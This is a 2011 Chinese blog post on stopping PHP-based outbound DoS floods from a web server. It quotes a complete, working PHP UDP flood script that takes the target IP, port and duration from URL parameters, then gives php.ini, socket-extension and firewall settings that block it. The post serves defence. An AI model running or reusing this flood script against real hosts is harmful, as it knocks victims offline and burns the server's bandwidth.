防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
php.ini修改php上传文件大小限制的方法详解
Jun 17 PHP
解析thinkphp中的导入文件标签
Jun 20 PHP
PHP中UNIX时间戳和日期间的转换与计算实例
Nov 19 PHP
简单的php+mysql聊天室实现方法(附源码)
Jan 05 PHP
PHP加密技术的简单实现
Sep 04 PHP
php版微信开发Token验证失败或请求URL超时问题的解决方法
Sep 23 PHP
PHP在innodb引擎下快速代建全文搜索功能简明教程【基于xunsearch】
Oct 14 PHP
php实现给二维数组中所有一维数组添加值的方法
Feb 04 PHP
PHP实现广度优先搜索算法(BFS,Broad First Search)详解
Sep 16 PHP
基于PHP实现的多元线性回归模拟曲线算法
Jan 30 PHP
YII框架实现自定义第三方扩展操作示例
Apr 26 PHP
PHP PDO和消息队列的个人理解与应用实例分析
Nov 25 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
PHPCMS的使用小结
2010/09/20 PHP
详解PHP 7.4 中数组延展操作符语法知识点
2019/07/19 PHP
dojo 之基础篇(二)之从服务器读取数据
2007/03/24 Javascript
Google韩国首页图标动画效果
2007/08/26 Javascript
jquery实现固定顶部导航效果(仿蘑菇街)
2013/03/21 Javascript
JS实现超简洁网页title标题跑动闪烁提示效果代码
2015/10/23 Javascript
12个非常实用的JavaScript小技巧【推荐】
2016/05/18 Javascript
jquery实现网站列表切换效果的2种方法
2016/08/12 Javascript
javascript简易画板开发
2020/04/12 Javascript
require、backbone等重构手机图片查看器
2016/11/17 Javascript
jquery实现图片平滑滚动详解
2017/03/22 jQuery
Vue.js 2.0 移动端拍照压缩图片预览及上传实例
2017/04/27 Javascript
Vue 2.0学习笔记之使用$refs访问Vue中的DOM
2017/12/19 Javascript
vue-lazyload图片延迟加载插件的实例讲解
2018/02/09 Javascript
AngularJS自定义过滤器用法经典实例总结
2018/05/17 Javascript
简单的React SSR服务器渲染实现
2018/12/11 Javascript
Vue项目总结之webpack常规打包优化方案
2019/06/06 Javascript
js面试题之异步问题的深入理解
2020/09/20 Javascript
理解JavaScript中的Proxy 与 Reflection API
2020/09/21 Javascript
[56:24]DOTA2上海特级锦标赛主赛事日 - 3 胜者组第二轮#1Liquid VS MVP.Phx第二局
2016/03/04 DOTA
Python中itertools模块用法详解
2014/09/25 Python
Python字符串处理函数简明总结
2015/04/13 Python
python登录pop3邮件服务器接收邮件的方法
2015/04/30 Python
Python使用CMD模块更优雅的运行脚本
2015/05/11 Python
pip命令无法使用的解决方法
2018/06/12 Python
Python中函数参数调用方式分析
2018/08/09 Python
Python3非对称加密算法RSA实例详解
2018/12/06 Python
python二维码操作:对QRCode和MyQR入门详解
2019/06/24 Python
python使用Qt界面以及逻辑实现方法
2019/07/10 Python
Pycharm远程连接服务器并实现代码同步上传更新功能
2020/02/25 Python
5行Python代码实现图像分割的步骤详解
2020/05/25 Python
学校欢迎标语
2014/06/18 职场文书
九一八事变纪念日演讲稿
2014/09/14 职场文书
辞职信模板(中英文版)
2015/02/27 职场文书
pytorch显存一直变大的解决方案
2021/04/08 Python
MySQL sql模式设置引起的问题
2022/05/15 MySQL